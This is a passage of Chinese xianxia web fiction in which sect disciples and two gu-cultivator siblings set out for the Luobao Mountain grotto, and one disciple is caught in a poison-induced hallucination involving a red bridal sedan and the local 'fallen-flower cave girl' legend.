金虫挑眉:“什么?” 屠莱:“您对这不死之虫了如指掌,怎么可能没有呢?” 金虫“啪”一声把他的手拍开,没好气道:“我确实用过,不过是用在你们师奶身上!她贪图死后的美貌,想尽办法炼制了一只不死之虫,顺便给我涨了见识。” “哦,师奶啊,原来是这样。”屠莱把被打回来的手又伸出去,“您这么聪明,一定偷学了吧?秘方拿来。” 金虫:…… 屠芜也道:“娘,师奶对你倾囊相授,一定将秘方传给你了……我看你的表情就是有!” “我有又如何。”金虫大方承认,“有了秘方你们也不一定能炼成。” 戴翠衣:“为什么?” 金虫抱起胸,抬起下巴:“炼制不死之虫需要两味珍稀草药,一是万蛇草,此草今年已经过了存活期……” 屠芜变出一个裹着草药的灵球来:“娘你是说这个吗?” 金虫:?? “你哪来的这玩意?” “您别管,反正我凑巧有。” 金虫嘴角一抽,继 续道:“小丫头,你可别得意,另一株草可比这万蛇草难寻。那可是深藏在罗宝山石窟之中的石破花,我和你师奶加起来两辈子也就见过几十年前那一回!” 石破花…… 石映心和明易对视一眼,自然想起了因果牌上的【石破天惊】,这里的“石破”和这株“石破花”会有什么关联吗? 屠芜没被她娘吓到,虽说听到“罗宝山石窟”一词的时候她的眉心不自主地跳了一下,但依旧淡定道:“我知道了,那我就让您再见一回。” 金虫一下噤声,瞪着眼看看她的女儿,又转去看她的儿子,两张其实不那么相似的面容上有这几乎一模一样的神情,知子女莫若母,她当然明白了这二人的决心。 “你们脑子糊涂了吗?”金虫荒唐一笑,指着地上的尸体道,“就为了这么一个莫名其妙的人?……翠衣。” 她又转脸向外甥女:“你难道要让你表哥表姐为了一个什么都不是的男人去石窟中以命试险?” 戴翠衣方才听这二人要去石窟也是懵了啊,连连摇头摆手道:“不了不了,太危险了!芜姐姐,还有莱表哥,算了吧,为了吴丙不值得!细细想来我和他的感情其实也没有那么深……” 金虫立刻道:“好孩子,你总算脑子清醒了一回。” 戴翠衣:“……哈哈。” 屠家兄妹对视一眼,只这一眼便明白了对方的想法。屠芜道:“娘,我长这么大从来没有去过罗宝山石窟;我身为药神谷的弟子,一生以药丹修为道,怎么能不去这龙潭虎穴呢?” “什么长这么大,你才多大?”金虫一挥手,“等你老得要死的时候再去也来得及!” 屠芜:…… 她哥哥说:“我身为蛊修,精进空间本就有限,如今书籍上的蛊术早已不够满足我的修炼之法;若我不寻求突破,怕是一辈子都要停滞不前,故步自封。” 金虫:“你要是死了才是真的到此为止了!” 屠芜没再搭话,只是对戴翠衣说:“翠衣,我和屠莱并不是为了你或是吴丙才去的石窟,不过是顺手而为罢了。至于你……就留下来照顾我娘和你娘,明白了吗?” 戴翠衣:??? 等等,什么情况!? 她吓得不行,几乎是跳了起来:“姐姐,表哥,你们别乱来啊!这个死男人哪有你们两个重要?之前是我糊涂了,他怎么死的其实压根不关我的事!我现在就把他的尸体还回去!” 说着她就要去动吴丙的尸体,但一伸手就被人捉住了手腕,抬头一瞧,曾换月对她笑眯眯地说:“哎呀,你也别这么着急嘛,事情哪有这么可怕?” 戴翠衣愣愣地看着她:“什、什么?那可是罗宝山石窟……” “我知道我知道,不就是罗宝山石窟嘛。”曾换月指了指自己,又指了指身后几人,“对我们天下第一仙门归壹派的弟子来说完全不在话下的!” 戴翠衣:……OO 方才那四人都在安安静静地在边上看热闹,没想到竟然有这样的打算。金虫惊讶道:“你们也要跟着这两个小毛孩胡闹?别怪我没提醒你们,罗宝山石窟可不是普通的地界。” 石映心说:“我们也不是普通人。” 金虫:……她是这个意思吗! “映心,你们还是别去了,不如就暂时在我娘这里等候,”屠芜面色严肃认真,“就等三日,如果我和哥哥没回来……” 石映心摇头:“没回来还要去给你们收尸,找来找去那很麻烦了。” 屠芜:“……” “喂,屠芜,”曾换月撞了撞她肩膀,“我不是早跟你说了嘛,你的事就是我们的事!” 屠芜现在是明白她这话的意思,神色便有些纠结:“可我不能害你们。” 曾换月撇嘴:“我看是你太小瞧我们了!” “不是这意思……算了,你们问屠莱。” 问题抛过来,屠莱一耸肩将其弹开:“归壹派的剑修这么凶,你我二人怎么拦得住?我只说一句,若是遇到什么危险,我和屠芜可不会舍命救你们。” 明易朝他颔首道:“安心,我们也不会。” 事情就这么毫无情谊地说定了。 金虫旁观这一切,觉得又好笑又可怖,这些在她眼中都是乳臭未干的小孩,竟能如此轻快地就为自己的人生做下冒险的决定,其中两个还是她生的!难道确实是她的缘故,从小将二人送去药神谷,锻炼她们早日独立自主…… 平时不常见面,小事上也没多大感触,这回真是一下让她感到陌生了。 “唉……”金虫摇摇脑袋,叹了口气道,“罢了,随你们吧。” 屠芜笑道:“娘,我知道你不会反对的。” 可戴翠衣太意外了:“小姨,你真就这么同意了?那可是罗宝山石窟!去那里的人如过江之鲫,回来的人掰手指都能数清啊!” “生死有命,一切早已成定数。”金虫露出一个苦笑,“不该死的人如何也会活着,该死的人吃口饭都能噎死。” 戴翠衣猛地一愣:“小姨,你……” “等你到了我这年纪便明白了。”金虫拍拍她肩膀,转移了话题,“既然如此,今晚就吃顿好的,填饱了肚子,好好休息一晚,明早再出发吧。” 大伙都答应下来。 金虫去叫金大娘给几人准备房间和晚膳,明易开始和屠芜二人商量明日去石窟的事宜,其余几人在院子里东看看西看看,场面一下子热闹起来;石映心瞅见戴翠衣看着地上吴丙的尸体发呆,走过去问:“你不收起来吗?” 戴翠衣微惊地回过神来:“是哦……差点忘了。” 话落就把她前未婚夫的尸体收入囊中。 石映心见她讷讷的,又问:“你在想什么?” 戴翠衣看向她,张了张嘴,却没有说话,忽然目光一移,看向了石映心的身后;石映心也转头看去,是屠芜来了,她道:“她在想我娘的话。” 石映心:“金姨说了什么?” 屠芜轻笑了一声,用一种在讲八卦的口吻说:“听说我爹就是吃饭噎死的。” “哦。”石映心这才了然,“原来那句话是这个意思。” 屠芜见她的反应也很奇特:“不然你以为?” 石映心:“我以为只是夸张的说辞,没想到世上真有这样倒霉的人;若是倒霉到这种程度的话,便确实是天意弄人了。” “所以你觉得呢?”屠芜问,“上天想让她活着的人,不管如何都会让她活着;想让他死的人,无所谓他如何死了。” “那么有一个问题,”石映心明亮的双目看向她,“若你该活着,但我现在就把你杀了会怎么样呢?” 屠芜一愣,不知如何作答。 戴翠衣偷摸摸瞅石映心道:“石、石姐姐,你是开玩笑的吧……” “开玩笑的。”石映心说。 晚膳时候,几人吃上了金大娘准备的菌子暖锅。 其味之妙难以言表,千言万语化作一个字:鲜! 几个外洲人吃得津津有味,就连平时只吃七分饱的明易都吃到了九分饱,真是难得。 咕嘟咕嘟的冒泡声中,金虫似乎吃饱了犯困,先行告退;戴翠衣第八次叫她娘别忙活了,坐下来一起吃点;大伙看她忙活外忙活内地也不知道忙活什么,其实什么都不缺不多,但她就是不停下来,整得几人也有些不好意思。 第193章 在她们都快吃完了的时候,戴翠衣第十三次拉住她妈的手,总算将这位勤劳的大娘摁了下来吃饭。 毕竟金虫都同意了,几人便没有避讳在餐桌上商量明天去石窟的事,这下被金大娘听见了,她立刻跳起来:“这怎么行嘎?石窟那么危险的地方!” “娘!”戴翠衣一个脑袋两个大,使劲又把她拉着坐下来,“我和表哥表姐都不去,就……就明道友他们去。” “当真?” 屠莱和屠芜感受到金大娘的视线,抬起眼来应了一声。 金大娘这才松了口气,又想要劝明易四人别去,但听她女儿说:“娘,这是人家门派的事 ,我们都掺和不了,你一个凡人掺和什么!” 金大娘嘟囔了几句,倒是没说了,将面纱摘下来收好吃饭。 几人这才得以看清她的真面目,是一张很常见的、四十左右的,疲惫又精神的中年女人的脸,让人的第一印象永远是“踏实能干勤劳”;金草和金虫不那么相像,也许是气质和神态表情大有不同。 金草吃了几口饭,忽然抬起头来说:“你们几个娃娃,去那么危险的地方,爹娘都知道吗?” 四人都给问懵了,还是顾梦真笑着解释道:“大娘,我们四人早就脱离凡尘亲缘了,只当做自己是归壹派的人。” “这咋个行呢?爹娘把你们拉扯那么大不容易啊!” 顾梦真挠挠头:“也没有不容易吧,说实话我都不大记得在凡间的事了,只知道很小的时候就去了门派,是师父师公把我拉扯大的。” “嘎?”金草大概也是没想到这几人是这样的亲缘淡薄,有些意外道,“你们竟是这样的?像小莱,还有小芜翠衣,虽然常年都在外头,但一年总要回来几次看看爹娘,联络感情,不能生分了。” 屠芜道:“姨妈,每个人的情况都不同。就是我娘和您也不一样,她是叫我和哥没事别回来的。” “哎呀,她是嘴硬心软!”金草挥挥手道,“你娘就是这样,嘴上不说,心里其实可想你们嘎!哪有爹娘不想孩子时常陪伴身边的?” 屠莱插嘴:“我娘应该真的不想。” “小莱!”金草有些大声起来,“你真是糊涂了!你娘十五就生了你们,人生大半辈子都在拉扯你们长大,咋可能对你们没感情?她连娘家都不回,日日待在这空屋子里等你们回家嘎!” “姨妈,”屠芜无语道,“有没有可能是我娘压根不想回娘家呢?” “咋可能……” “总之,方才那些话您就别在我娘面前说了……最好也别在我们面前说。”屠芜叹了口气,“到时候她听了不高兴。” 谁知道金大娘听到这,非常委屈道:“你们咋个也这样对我?金虫老早前就叫我一天只能同她说十句话,我每日在家中憋得慌!好不容易来了几个人,咋个你们也不乐意了!” 咋个还有这回事啊! 大伙纷纷忍俊不禁,气得金草又开始嘟嘟囔囔,但她这回说什么,她们都不太在意了。 饭后,白日非常自信的二师兄和小师妹,一个去清点自己的宝器,一个去画符,都在为明日之行做准备;大师兄得知金舍嬷有个书房,自然不肯放过。戴翠衣和她娘也有话要说,一同进了屋中。 石映心这会无聊起来,便去院子里随便瞎逛,忽然听到远处有狗叫传来,闲着没事就想飞过去看看,谁知道刚飞到院墙上,就听见身后有人冷不丁地叫了她一声:“石映心。” 石映心转过头,看见屠莱抱着胸站在那,一副捉到贼的表情。 她站在墙顶没下来,居高临下地看着他:“你有什么事?” 屠莱:“这是我要问你的话。” 石映心说:“我没事干,随处去逛逛。” “你不会是要去看哪只狗在叫吧?” “是。” “……你真够无聊的。”屠莱无语,“别去了,快下来。那些狗个个凶神恶煞,一点也不亲人,没什么好看的。” 石映心问:“你们螺族的狗都这么凶吗?” 屠莱耸了下肩:“慈母多败儿,狗也是一样的。” 石映心却还是不下来:“我不是要去和狗玩,我就是无聊,想随便去哪里看看。听你和屠芜说的,你们螺族的狗很有地位,我有些好奇。” 屠莱皱起眉头:“你好奇什么问我便是了,快下来。” 石映心瞅了他一会,从墙上飞了下来,不远不近地问他:“你为何不让我出去?” 屠莱冷飕飕道:“你这人有些古怪,没你师兄在边上看着,怕是出去要惹什么事。” “我古怪吗?”石映心朝他抬了抬下巴,“看起来是你更古怪,八月的晚上就穿上长袍了。” 屠莱闭上嘴巴瞪她。 石映心道:“你上一句说好奇什么可以问你,那我问你,为何你要穿冬日的衣服?” “冷就穿了。” “原来是因为要炼制蛊虫。” 屠莱明显一愣,几乎是脱口而出:“你怎么……” 石映心:“我猜的。” “喂……” 石映心:“你此次回来去石窟也是和你修炼的蛊术有关吗?” “你胡说什么。” 石映心:“看来你们蛊修也很不容易。” “……” 石映心:“还有一个问题我早就想问了,你们螺城几乎家家户户都有狗,为什么你们家没有?” “……我娘不喜欢狗。” 石映心:“那你和屠芜喜欢吗?” “只是狗而已,无所谓喜欢不喜欢。” 石映心:“方才为什么不让我出去?” “我说过了,螺族人嗜狗如命,你最好不要和那些狗有任何瓜葛。” 居然没撒谎,看来是真的怕她出去惹麻烦……石映心忽然觉得有“长辈”这类身份的人大概都自带“防小辈闯祸警醒”,比如她师父,她大师兄二师兄,还有面前这位屠芜的哥哥。 不止如此,还有敏锐的、能看穿对方是否在撒谎的直觉…… 当然,也不能排除存在她这样会纵容小师妹胡闹的师姐。 “我明白了。”石映心很理解地说,“我不会去看那些狗,你还有什么事吗?” 屠莱微微松了口气,打量了她一会,这才说出了真实目的:“你的读心虫……用过了吗?” “还没有。” 屠莱便说:“我想将它买回来,之后无偿送你一只,只不过要等秋后了,可以吗?” 石映心从他来找自己的时候就隐约猜到和读心虫有关,不过入了她手的东西是那么好拿回去的吗?“你要回读心虫有什么用?” “是我的私事。” “也是,”石映心颔首,“那我拒绝。” 屠莱:…… 他扯起一个不高兴的笑来:“你开个条件吧。” “你要回读心虫有什么用?” “……除此之外。” “没有了。” 好难缠。屠莱想,这家伙果真不好对付。“两只,”他说,“到时我送你两只读心虫。” 那可是六百灵石!如果二师兄在这就会这么喊了。 石映心露出动容的表情:“谁的秘密这么值钱,我也想知道。” 屠莱无语一笑:“你就说同不同意。” 石映心想了想,变出那个装着蛊虫的青铜盒子,在屠莱目不转睛地直视下递给了他:“给你。” 她突然答应了,屠莱微妙地感到一些受宠若惊,迟疑地接过来时还问:“你……不着急用?” “不着急。” 屠莱似乎还想说什么,但最后只是抿了下唇道:“好,那就这么说定了。届时那两只读心虫我会找灵驿差送到你们归壹派给你。” “好。” 屠莱离开之后,石映心在原地静了两瞬,跳到了墙上打算再要出去,谁知仿佛撞鬼般又从身后飘来了一声“映心”。 石映心:…… 她跳了下来,对着来人挠挠脸:“大师兄。” 明易没什么情绪地问:“这么晚了你要去哪?” “闲着没事,想出去随便逛逛。” 明易望着她默了默,话锋一转:“方才我见你和屠莱在院中说话。” “是说了一会。” 竟就在这里沉默下来。 石映心看看大师兄,见他有些不高兴的模样,心中感到一些疑惑,方才照了屠莱几次,白日又照了金虫等人,乱七八糟一通照,今日的次数不知不觉就用光了。好了,这下她是真的看不穿大师兄的心思。 与此同时的明易也想了很多,想问她为何不说下去,难道她和屠莱说的话不能告诉他吗?又觉得不该多问,毕竟这是映心的隐私,即使她们已是那样的关系,但也没有逼迫对方的道理。 ……最好是她主动告知。 但瞧她这茫然的模样,仿佛无辜得很。 他试探地问:“你们……是在说明日去石窟的事吗?” 石映心这才接收到一点信号,摇摇头道:“不是,他是来找我要回读心虫。” “读心虫?”明易才想起来这二人间还有这层交易关系,理性暂时回归,“他找你要读心虫做什么?” 石映心凑近了大师兄几步,说得小声了一些:“他想得很模糊,我便照不清楚,好像是和狗有关……” “狗?” 话说到这,院外忽然响起了几声狗叫,一边叫起另一边应和,静谧的夜晚一时有些热闹,但好在没过一会便停了下来。 石映心顿了顿道:“哦,若是像这样,因为听到了狗叫而想到了狗,那他脑子里冒出狗的想法也是有可能的。大师兄,这人心思很深,想东西都模模糊糊的,我有时照不清楚。” 她这会凑近了,明易就能闻到风带来的她身上的香气,在炎热的夏夜里是一股清新的冷意。他舒出口气,感到心情安定不少:“不管他要做什么,只要不妨碍我们做任务,便不必太在意他。” 石映心:“好。” 第194章 明易的双唇轻轻合上,又悄悄张开,用轻柔的低语说:“既然你觉得他心思深……不如离他远点?” 石映心摇摇头:“ 那倒也不必。我看得出来,他虽然脾气不大好,但对我们还算待见。” 明易:“……是吗,对你也很待见?” “好像是,总之我不讨厌他。” “……嗯。”映心不讨厌的人多了去了,明易这么想,“不过我们与他也不大熟悉,还是保持距离较好。他也许并无害人之心,但隐瞒的事可能会对我们造成影响,还是要小心为上。” 石映心觉得大师兄说得也有道理:“我知道了。” “嗯,早点去休息吧。” “大师兄,”石映心忽然说,“你这么晚出来本是要做什么?来找我的吗?” 明易没想到她提起这事,微愣了一下:“……是,本想看看你和换月休息了没有。” 是“本想看看你和换月有没有偷溜出去”吧,石映心想。 “大师兄,难道我一直让你这么不省心吗?” “没有,”明易无奈一笑,“只是我爱操心罢了。” 又说:“快回去吧,今晚好好休息。” “好。” * 隔日。 用早膳的时候,看到金虫的屠家兄妹非常意外。屠芜稀奇道:“娘你今日怎么起得这么早?” 屠莱嘴角一抽:“我看根本是没睡。” “哼。”金虫确实是一夜没睡,因此这会非常没好气,将手上的东西往桌上一扔,冷飕飕道,“难道是我乐意不睡?拿去好好看看,这是我还记得的、你们师奶和我说过的一些关于石窟的事。” 她扔下来的是一张纸,屠芜打开一看,是一幅地图,上头还标注了不少小字,看得出来很用心。屠芜感叹道:“娘,没想到你为我们这么费心……” 金虫冷哼一声:“谁叫我生了你们两个不省心的!去之前好好过目一遍,别随便死了。” 屠莱道:“您安心吧,日后还有麻烦你的时候。” 金虫翻了个白眼,扫了眼桌上吃早膳的几人,有几个犯困着,眼睛都还没睁全呢。她叹了口气道:“我知道你们都是有本事的青年才俊,不过切忌自满大意,进入石窟后,一定要小心行事,互相帮衬。” 大伙纷纷点头应和。 金虫只叮嘱了这么一句,就说要回去补觉了,叫她们等会走的时候小声点,别干扰她美梦。 清晨的夏风还算舒爽,吹得人精神不少。这时候从瞌睡中清醒过来的归壹派某些人就开始嘻嘻哈哈了。屠芜见她们一点不带紧张的,忍不住道:“我说你们……真的不担心吗?” “还没轮到我担心的时候啦。”曾换月摆摆手,朝边上正在和屠莱一起琢磨地图的大师兄一抬下巴,“现在是我大师兄担心的时候。” 屠芜又无奈又好笑:“若是你和你大师兄分散了呢?” 曾换月挽住师姐的胳膊:“那师姐会保护我的。” “要是只剩下你一人了呢?” 曾换月哈哈笑起来:“到那时已经是无力回天了,我就躺平听从命运的安排吧!” 屠芜脸上的笑意微微有些凝固,她又看向边上翻着一本小册子在嘀嘀咕咕的顾梦真:“顾道友,你在做什么?” 顾梦真头也没抬:“哦,这是我们门派仙尊叫我们来药神谷采集的花草虫蛇一类的清单,我感觉罗宝山里应该能找到不少吧,趁还没到那,我得多看几眼,免得之后路过却错过了……那简直是世上最遗憾的事情!” 屠芜:…… 行,这个心思根本没在石窟上哈。 她无声地叹了口气,感到一股视线,抬起眼来是石道友在看她。二人对视上,石道友说:“屠芜,你为何这么紧张?” 屠芜被这么一问才觉得冤枉呢:“你们为何都不紧张?似乎都不觉得石窟是很危险的地方。” “可你知道,你还是去了。” “不错,所以我现在有些后悔了。”屠芜顿了顿,又道,“……不过去还是要去的。” 石映心看她有些出神的脸色,这时候还想说什么,但大师兄在那边招呼她们要走了,于是几人收拾收拾,各自上了御物宝器,出发罗宝山。 罗宝山。 连绵的高山遮住了清晨的太阳,只瞧见山尖上铺盖的一层薄薄的日光,影子遮蔽下的山路显得有些阴冷。 目前没什么安排,就由屠莱在最前方引路,找到石窟再说。 山路可供三人挨肩并行。迈上山门后的第一层台阶时,石映心竟晃神了一瞬,只觉得什么东西往她脑中敲了一下,有听不见的钟声在她脑中震荡开来,激起水波扰乱了镜面,眼前一片模糊。 “映心?”在她边上的明易紧忙扶住她,“你怎么了?” 石映心也不知道啊,但她很快就回过神来,恢复了寻常。看看大师兄,又看看前方投来惊讶视线的小师妹等人,她摇摇头道:“没怎么,方才脚下踩到一块石子,没站稳。” 二师兄松了口气,笑道:“映心你是不是到处乱看,结果忘了看路?哈哈哈哈!” 石映心站稳身子,点点头说:“二师兄你也要小心,别只顾着找草药了,这里山路不好走。” 顾梦真哈哈:“我可没那么糊涂。” 曾换月哼哼:“那不见得哦。” 明易也没他二师弟和小师妹糊涂,就这么轻信了石映心的话,但如今的景况也不好说什么,只能轻声叮咛她:“不要逞强,有什么事要和我说。” “真的没事,大师兄。” 明易当然安心不下,就跟在她后边走,保证眼中始终有石映心的身影。可师妹这一下奇怪的反应已经让他回想起之前在三足乌城中她“撞鬼”一事,不得不警觉起来,难道罗宝山也有能影响映心“心境”的事物…… 石映心本人同样是这么想的。 但身为当事人,她的感觉会更敏锐一些。上次在三足乌城的“撞鬼”是一种相互牵扯的“影响”,而方才的震动更像是……呼唤……也不对,应该是回应了呼唤。 就像有人往镜面中投入一颗石子,于是她的心境荡起波浪,二者就这么此发彼应上了。 只是这感应完全越过了她本人的意识,多少有点不礼貌了哈。 罢了,还能怎么样,走一步算一步吧;她倒不是很紧张,只是大师兄……感受到身后那如影随形的视线,石映心微微叹了口气,心说怎么又让大师兄不安心了呢?她也不想这样的。 “欸,稍等稍等!”一直左顾右盼的顾梦真忽然停下脚步,朗声道,“我采个草药哈!”说着便蹲了下来,手上不知何时已经戴上了手衣。 屠家兄妹也不着急,站在那耐心等待着;曾换月在边上嘀嘀咕咕:“你这记性和眼神可真好,这草就在我脚边我也认不出来。” 顾梦真摘了草药收入储物袋中,笑嘻嘻道:“你哪有我上心?” 曾换月翻白眼:“该上的是这个心吗?你可别忘了正事!” “哪有忘啊,这不是还没到石窟嘛!” “不到石窟难道就没有危险了吗?” “哪来的危险啊……” 明易:“好了就走。” 二人:“哦!” 于是继续顺着山路往前走,大概是走了一会也没有遇到什么异样,都是寻常的山景;再加上归壹派这些人嘻嘻哈哈的,时不时要干嘛一下打断紧张的节奏,搞得原先紧绷着神经的屠家兄妹也放松了一些。 中途休息的时候,屠芜好奇地问:“我见顾道友对照着他手中的册子采了不少花草,有一些是我们药神洲才有的宝贝,看来请你们办事的仙尊对我们这里很熟悉?是你们归壹派的药丹修吗?” 石映心并未隐瞒:“嗯。是我们归壹派少见的医修仙尊,她先前是你们药神谷的人。” 各大仙门的弟子都知道一百年前归壹派一举夺魁后吸纳各洲人才贤士的事,屠芜就自然认为是这茬:“被你们归壹派看上的人,定是很有本事的。她叫什么名字,也许我也听过呢?” 石映心:“弟子们都叫她金花仙尊。” “金花仙尊?”屠芜皱着眉头想了想,摇摇头道,“这我还真不认识。” 屠莱在边上随意搭话:“多少年前的事了?指不定那时候你都还没出生。” 屠芜:“……也是。” 短暂休憩了一会,几人继续往前走。这时候太阳已挂高空,仰头时望见的天色是刺眼的明亮;可奇怪的是,她们步行的山间始终晒不到一缕日光,甚至连夏日应有的炎热都散尽,好在只是到适宜的程度,没有过于反常的阴寒。 不知走了多久,屠莱带着她们来到一面高大的石壁之下,抬头望不尽顶端,只瞧见沟壑纵横;下方却有一个幽深的山洞,外头的光线只能照进三步远,有一条溪流从里头流出,清澈地映着浑浊的山色。 “过了山洞,便是石窟的地界了。”屠莱停住脚步,看向几人,“你们……” “哎呀可算到了,走这老半天好累啊。”顾梦真可算是这来路上最忙碌的人了,“这水干净不,我能喝点不?” 屠莱:“……不知道。” 顾梦真走到溪水边:“没事没事,我用法术澄净一下先。” 石映心问屠家兄妹:“你们以前进去过吗?” 二人摇摇头,屠莱还记得她先前的吐槽呢:“像你说的,走到这里只是算在门口路过罢了。” 石映心颔首道:“原来是这样。” 这边说完话,那边大师兄又问她:“映心,你还好吗?” 石映心:“没有再踩到石头了。” “……好。” 第195章 这幽深的山洞一看就很有问题,走近了便能明显感到里头吹来的寒气,冷飕飕的,哪里像是八月的风? 顾梦真给每人都发了一盏辟邪灯:“虽说微不足道,但聊胜于无哈。” 屠芜看了看手中微微燃烧的火光,朝几人道:“我会让我的灵蛇在前方探路,有危险它会传给我警示。” 说话间,她的袖口里爬出两条黑乎乎的小蛇来,绕着她的手腕转了一圈后,忽然消失了踪影。 曾换月心一跳:“哦,其中一条就是咬了我师姐的隐蛇吗!” “它已经洗心革面了。”屠芜无奈一笑,“我训斥过它了。” 曾换月抱着师姐的胳膊:“最好是哦。” 顾梦真用胳膊肘怼怼屠莱:“你呢,你有没有什么可以探路的蛊虫?” “没有,”屠莱把他推开,“世上的蛊虫多作用于凡人。” “哦,这样啊。” 一般来说,这时候都是明易在前边开路,但屠莱和屠芜说他们并不熟悉此处,这罗宝山的危险可不是只在妖鬼;所以最后决定由屠莱在最前方走,屠芜跟其后,接着是石映心,断后的是明易。 进了山洞后,周遭明显冷了下来,溪水声泠泠作响,灌满了几人的耳朵。洞内黑得透彻,进来前明明有风,进去后却是安安静静了,仿佛前方是条山穷水尽的死路。 六人手中的辟邪灯照不远,最多让他们看清脚下的路,但好在始终亮着,没有熄灭。 曾换月紧挨着师姐,映着火光的双眸好奇又胆小地打量着,心中有些紧张兴奋的害怕;前方是否会突然蹿出什么?水里会不会冒出水鬼?还是说……她们会被困在这里出不去呢? 各种各样的可能在她脑子里回旋。转过头看看,其实辟邪灯只能照亮她们下半张脸,照不全的表情怎么看都有些可怖;大师兄,二师兄,还有被她紧挨着的师姐,三人平静的下半张表情都显得很严肃。 她又回过头去看前边的路,依旧没有任何“出口”的征兆。奇了怪了,这个山洞有这么长吗?屠莱和屠芜还有二师兄沉默的背影,这样看去好陌生,仿佛无法回头的鬼魂…… …… ……嗯? ……等一下。 好像有哪里不对劲? 她猛地睁大眼睛,但脚下这一步似乎是走入了哪里,周遭竟然更黑了,黑得只能看见几人手上的辟邪灯,以及拿着灯的手。曾换月往前边数一数,三盏灯;往后边数一数,还是三盏灯。 三加三等于……六,等下,还没加她自己手上这盏,那加起来就是……七? 她们师兄妹是四人,屠家兄妹是二人…… …… ……等等等等!她混乱的脑子试图要冷静下来思考:方才在她还能看清人脸的时候,分明是看到了两个二师兄,也就是说其中一个是假的;那么问题来了,到底走在她前边的是假的还是走她后面的是假的? 一开始进山洞的时候,她记得二师兄是走在…… 老天奶,她真的记不清了啊! 但是……除此之外,好像还有哪里怪怪的? 是哪里呢? “换月。”她感到有人拉住了她的手腕,听声音是她师姐,手腕上传来了冰冰凉凉的触感,“你看,那是什么?” 曾换月下意识往前望去,看见溪流的对边有一顶大红色的花轿,这是什么时候出现的?和她在三足乌城中看到的花轿有些相像。真是奇了怪了,在这乌黑麻漆啥也看不清的山洞中,那轿子却那么清晰可见,一片红仿佛在发光。 “走,”她师姐的声音说,“我们过去看看。” “啊?等……” 曾换月被师姐带着飞了起来,下意识回头看了眼,瞧见五盏辟邪灯飘在空中发着光,隐约照出五个深黑的人影,都在看着她。 她们飞到轿子前边,黑乎乎的师姐将轿帘掀了起来,对她说:“来,进去吧。” 曾换月感到很不对劲,但是哪里不对劲呢?她下意识退了一步,半个脚跟卡在溪流的岸边,整个脑袋感觉摇摇欲坠:“师、师姐……我进去干嘛啊?” “你来嘛。” 她师姐一把攥着她的手腕将她一拉,她竟也没有多少挣扎的动静,就这么被轻巧地塞入了大半个身子。 曾换月手上的辟邪灯被摔倒在座位上,居然没灭,燃烧的火光在红彤彤的布上歪曲地立着,显出一丝幽黑。 辟邪灯…… 她猛地回过神来,在身后那只冰冷的手推她的背的时候顺势往前一扑,鼓起嘴巴铆足了劲地一吹—— 呼—— “醒了。” 曾换月睁眼一瞧,她面前就是一顶烂红的轿子,这一下是惊得她浑身冷汗,直接惨叫出声:“啊!!” “换月?” 她后退时进了某个熟悉的怀抱,暖呼呼的,抬头一看,是她师姐有些关心的双眸。 “师姐……?” 再转头看去,大师兄四人正拿着辟邪灯在边上围观着她,都是严肃和关心的模样,清清楚楚的、活人的表情。 屠芜还朝她挥了挥手:“换月,你没事吧?” “我……”曾换月咽了下口水,“我怎么了?” 顾梦真挠挠头道:“方才走着走着,映心忽然说你手上的辟邪灯灭了,我就给你续上,结果三续三灭,就知道你着道了。但我们也不清楚你是着了什么道,屠莱就说要顺着你走,于是就顺着你走。” “结果你就带着我们来到了这顶轿子边上,不由分说地就要往里头钻,映心拉住你你还极力反抗……好在这时候屠莱拿了什么蛊虫……” 屠莱在边上补充:“驱邪蛊,能将附身在人身上的阴邪带出,不过仅一次效用蛊虫便会死了。” 末了又补充道:“不过我刚才用在曾道友身上的这一只没死,应是你自己意识清醒后出来的。” “……啊,是吗,我自己出来的?”曾换月清晰地感受到自己身上的冷汗,整个人凉飕飕的,肉身都还没恢复过来,“太恐怖了……” 明易问:“方才发生什么事了?你如何就着道了?” “正是因为我压根不知道发生了什么才恐怖啊!”曾换月的脸色在辟邪灯的照耀下是肉眼可见的苍白,“我……我什么异样都没发现,前一瞬还觉得一切寻常,我们一个接一个地走……可一转眼忽然就感觉哪里奇怪,但究竟是哪里又说不上来;等我意识到的时候已经来不及了,基本没什么反抗的意识……” “对了!”她想到什么,看向手中重新被点燃的辟邪灯道,“我在幻觉之中隐约有意识到你们都不是正常人,但因也找不到证据所以整个人很迷糊,直到我看见辟邪灯……我想顾梦真的辟邪灯这么脆,一遇到鬼就熄灭了,怎么可能现在还亮着,所以我就把它吹灭了。” 屠芜闻言,若有所思道:“原来是这样,你是发现了不对劲之处后做出了改变,因此打破了幻觉……” 曾换月擦了把冷汗:“对啊对啊,虽然我觉得无知无觉地就着道了很恐怖,但出来的方式意外很简单呢?都不用打打杀杀。” 屠芜和她哥对视一眼,深呼一口气,朝曾换月道:“因为你是中蛊毒了。” 曾换月发出尖锐的爆鸣:“什么!?” “蛊毒幻觉的一大特点便是无知无觉地进入其中,让人神智迷糊、反抗想法弱;但换月你已是元婴期修为,那蛊虫没有你厉害,所以你能察觉到异样,甚至有意识地做出改变,这才轻松地出来了。” 屠芜秀眉微蹙,给几人解释道:“可这蛊毒若是用在凡人身上……他们只会觉得一切都是真的,便没救了。” “不过,”屠莱冷冰冰地补充道,“蛊术皆是阴招,阴招即是能以弱胜强之险要手段,几位若是觉得自己修为高强就能懈怠了,只怕也要着道。” 曾换月以为他点她呢,很委屈道:“真服了,我何时 懈怠了?方才我一直警惕地打量着四周呢!” 屠莱:“那也许是和什么对上眼了。” 曾换月:…… “唉,怎么就盯上我了呢,难道是觉得我是我们之中最弱的人吗?” 石映心这时忽然想到什么:“换月,你进来前是不是喝了外边的溪水?” 曾换月一愣:“我是喝了啊,但我是看二师兄喝了才……” 顾梦真连忙道:“喂喂,别赖我啊,我喝之前可是用过澄净诀的,你用了吗?” “……”看她这如遭雷劈的表情就知道没有了。 好了,破案! 石映心又指着边上的红轿子问:“不过你为何要进到这轿子中去?” 她师姐这么问了,曾换月才勉强给了那轿子一个眼神,不太高兴道:“在幻觉中是师姐你拉着我要我进轿子的,而且那里头的轿子还蛮新的,不像现在这个又破又烂……像是新娘出嫁坐的轿子。” “新娘……”屠莱若有所思道,“难道这是传说中的落花洞女?” “落花洞女?”曾换月一脸茫然,“那是什么?” 屠莱望向那顶破败的轿子,语气幽幽:“这是我们螺族很久很久之前的故事了……” 【山野之间有许多山洞,有些山洞中住着洞神。若是有美貌女子路过洞口被洞神一见钟心,那么洞神就会先夺去她的魂魄,使她成为落花洞女,等候时机到来,再迎娶女子的肉身入洞中……】 